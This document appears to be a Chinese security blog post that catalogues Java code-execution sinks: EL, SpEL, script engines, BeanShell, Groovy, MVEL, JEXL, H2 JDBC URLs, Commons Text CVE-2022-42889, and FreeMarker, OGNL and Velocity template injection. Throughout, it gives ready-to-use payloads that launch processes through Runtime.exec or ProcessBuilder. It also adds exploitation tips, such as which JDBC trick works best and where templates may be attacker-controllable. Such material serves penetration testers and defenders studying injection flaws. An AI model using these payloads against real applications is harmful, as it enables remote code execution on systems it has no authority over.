java代码执行(eval)

java代码执行(eval)

原创 珂字辈 珂技知识分享 2025-05-29 10:02

一、 EL 

String payload1 = "Runtime.getRuntime().exec('calc')";
ELProcessor eLProcessor = new javax.el.ELProcessor();
eLProcessor.eval(payload1);

tomcat/springboot常见代码执行。在tomcat中依赖el-api.jar,在springboot中依赖tomcat-embed-el-9.0.55.jar,单独依赖javax.el-api-2.2.1.jar。

在tomcat低版本(7.x)中,不存在javax.el.ELProcessor类,在tomcat高版本(10.x)中,包名有所变化jakarta.el.ELProcessor。

二、 SPEL

String payload1 = "T (java.lang.Runtime).getRuntime().exec(\"calc\")";
SpelExpressionParser parser = new org.springframework.expression.spel.standard.SpelExpressionParser();
parser.parseExpression(payload1).getValue();

springboot常见代码执行,依赖spring-expression-5.3.39.jar,同时也是Thymeleaf模板的实现语言。

三、 Nashorn(js)

String payload1 = "java.lang.Runtime.getRuntime().exec('calc')";
ScriptEngineManager scriptEngineManager = new javax.script.ScriptEngineManager();
scriptEngineManager.getEngineByName("JavaScript").eval(payload1);

jdk自带JavaScript引擎,自jdk16完全移除。高版本jdk可以依赖nashorn-core-15.4.jar恢复使用。

EL表达式代码执行常用Nashorn来扩展更高级的写法。

String payload2 = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""
                + "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()"
                + "\")";

除此之外,还是h2/Text等最终代码执行点。

四、 Rhino (js)

String payload1 = "java.lang.Runtime.getRuntime().exec('calc')";
Context ctx = org.mozilla.javascript.Context.enter();
Scriptable scope = ctx.initStandardObjects();
ctx.evaluateString(scope, payload1, "script", 1, null);

第三方JavaScript引擎。依赖rhino-1.7.15.jar,旧版为js-1.7R2.jar。

五、 bsh

String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";
Interpreter interpreter = new bsh.Interpreter();
interpreter.eval(payload1);

国产老项目常见脚本语言,依赖bsh-2.0b5.jar。自带一些脚本集成在语言里作为方法,因此可以很短的命令执行。

六、 H2

String driver = "org.h2.Driver";
Class.forName(driver);
String payload1 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
              "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
              "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\\;\n" +
              "$$\n";
String payload2 = "jdbc:h2:mem:testdb;"
            + "TRACE_LEVEL_SYSTEM_OUT=3;"
            + "INIT=CREATE ALIAS EXEC AS '"
            + "String shellexec(String cmd) throws java.io.IOException "
            + "{Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}"
            + "'\\;CALL EXEC ('calc')";
DriverManager.getConnection(payload1);

最好用的jdbc利用。

七、 Jshell

String payload1 = "new java.lang.ProcessBuilder(\"cmd\", \"/c calc\").start();";
System.out.println(payload1);
jdk.jshell.JShell.create().eval(payload1);

最接近PHP中的eval,同时也可以直接用jshell.exe来执行代码。

=jdk9才存在。

八、 groovy

String cmd = "calc";
String script = "@groovy.transform.ASTTest(value={\n" +
          " assert java.lang.Runtime.getRuntime().exec(\""+cmd+"\")\n" +
          "})\n" +
          "def x\n";
//GroovyClassLoader groovyClassLoader = new groovy.lang.GroovyClassLoader();
//groovyClassLoader.parseClass(script);
GroovyShell groovyShell = new groovy.lang.GroovyShell();
groovyShell.evaluate(script);

常见的第三方脚本语言,依赖groovy-2.4.3.jar。

九、 Mvel

String payload = "java.lang.Runtime.getRuntime().exec(\"calc\");";
org.mvel2.MVEL.eval(payload);

weblogic喜欢用的脚本语言。依赖mvel2-2.4.14.Final.jar。

十、 Jexl

String exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('calc')";
JexlEngine engine = new org.apache.commons.jexl3.JexlBuilder().create();
JexlExpression expression = engine.createExpression(exp);
expression.evaluate(null);

一个表达式语言库,但同样可以用来执行代码。依赖commons-jexl3-3.2.1.jar

十一、 Apache Commons Text

StringSubstitutor interpolator = org.apache.commons.text.StringSubstitutor.createInterpolator();  
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";  
interpolator.replace(payload);

即CVE-2022-42889,允许调用js。依赖commons-text-1.9.jar

十二、 FreeMarker(SSTI)

String templateContent = "Hello, ${name}!";
templateContent = "<#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"calc\").start()}";

StringTemplateLoader loader = new freemarker.cache.StringTemplateLoader();
loader.putTemplate("myTemplate", templateContent);
Configuration conf = new Configuration(Configuration.VERSION_2_3_31);
conf.setTemplateLoader(loader);

HashMap map = new HashMap();
map.put("name", "bob");
Template template = conf.getTemplate("myTemplate");

StringWriter writer = new StringWriter();
template.process(map, writer);
System.out.println(writer.toString());

依赖freemarker-2.3.31.jar。

模板注入也是比较好利用的代码执行处,虽然正常模板内容会写在html/ftl文件中,然后引用模板文件,导致内容不可控,但还是有可能碰到短信/邮件模板内容可控。

注意,模板组件很多高版本都存在限制,无法直接的命令执行。

十三、 Ognl(SSTI)

OgnlContext context = new ognl.OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());

依赖ognl-3.0.6.jar。

十四、 Velocity(SSTI)

        VelocityContext context = new org.apache.velocity.VelocityContext();
        context.put("name", "bob");
        context.put("age", 25);

        String s = "你好,$name,欢迎使用 Velocity!";
        s =       "#set($x='')"
                + "#set($rt=$x.class.forName('java.lang.Runtime'))"
                + "#set($chr=$x.class.forName('java.lang.Character'))"
                + "#set($str=$x.class.forName('java.lang.String'))"
                + "#set($ex=$rt.getRuntime().exec('whoami'))"
                + "$ex.waitFor()"
                + "#set($out=$ex.getInputStream())"
                + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))"
                + "#end";


        RuntimeServices runtimeServices = new RuntimeInstance();
        Template template = new Template();
        template.setRuntimeServices(runtimeServices);
        template.setData(runtimeServices.parse(new StringReader(s), template));
        template.initDocument();

        StringWriter w = new StringWriter();
        template.merge(context, w);
        System.out.println(s);
        System.out.println(w.toString());

依赖velocity-engine-core-2.4.jar